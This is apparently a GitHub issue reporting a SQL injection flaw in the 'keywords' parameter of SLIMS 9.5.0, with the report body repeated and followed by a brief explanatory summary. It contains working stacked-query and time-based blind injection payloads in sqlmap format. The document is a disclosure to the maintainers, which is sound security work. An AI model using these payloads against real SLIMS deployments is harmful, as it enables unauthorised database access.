Hello, team, on the new version of your system SLIMS-9.5.0 you have an SQLi vulnerability in the parameter `keywords`. 
PoC:
```MySQL
---
Parameter: keywords (GET)
    Type: stacked queries
    Title: MySQL >= 5.0.12 stacked queries (comment)
    Payload: csrf_token=a1266f4d54772e420f61cc03fe613b994f282c15271084e39c31f9267b55d50df06861&search=search&keywords=tfxgst7flvw5snn6r1b24fnyu8neev6w4v6u1uik7''')));SELECT SLEEP(5)#

    Type: time-based blind
    Title: MySQL >= 5.0.12 RLIKE time-based blind (query SLEEP - comment)
    Payload: csrf_token=a1266f4d54772e420f61cc03fe613b994f282c15271084e39c31f9267b55d50df06861&search=search&keywords=tfxgst7flvw5snn6r1b24fnyu8neev6w4v6u1uik7'''))) RLIKE (SELECT 9971 FROM (SELECT(SLEEP(5)))bdiv)#
---
BR @nu11secur1ty System Administrator - IT Infrastructure and Penetration Testing Engineer.
SQLi
This is a GitHub Issue
repo:slims9_bulian
owner:slims
Title : SQLi
Issue date:

--- start body ---
Hello, team, on the new version of your system SLIMS-9.5.0 you have an SQLi vulnerability in the parameter `keywords`. 
PoC:
```MySQL
---
Parameter: keywords (GET)
    Type: stacked queries
    Title: MySQL >= 5.0.12 stacked queries (comment)
    Payload: csrf_token=a1266f4d54772e420f61cc03fe613b994f282c15271084e39c31f9267b55d50df06861&search=search&keywords=tfxgst7flvw5snn6r1b24fnyu8neev6w4v6u1uik7''')));SELECT SLEEP(5)#

    Type: time-based blind
    Title: MySQL >= 5.0.12 RLIKE time-based blind (query SLEEP - comment)
    Payload: csrf_token=a1266f4d54772e420f61cc03fe613b994f282c15271084e39c31f9267b55d50df06861&search=search&keywords=tfxgst7flvw5snn6r1b24fnyu8neev6w4v6u1uik7'''))) RLIKE (SELECT 9971 FROM (SELECT(SLEEP(5)))bdiv)#
---
BR @nu11secur1ty System Administrator - IT Infrastructure and Penetration Testing Engineer.
--- end body ---

The issue describes a SQL Injection (SQLi) vulnerability in the SLIMS-9.5.0 system, specifically in the `keywords` parameter of a GET request. The provided proof of concept (PoC) demonstrates that an attacker can execute arbitrary SQL queries by manipulating the `keywords` parameter, which can lead to unauthorized data access or manipulation. The payloads indicate that the application is vulnerable to both stacked queries and time-based blind SQL injection, allowing attackers to exploit the vulnerability for various malicious purposes.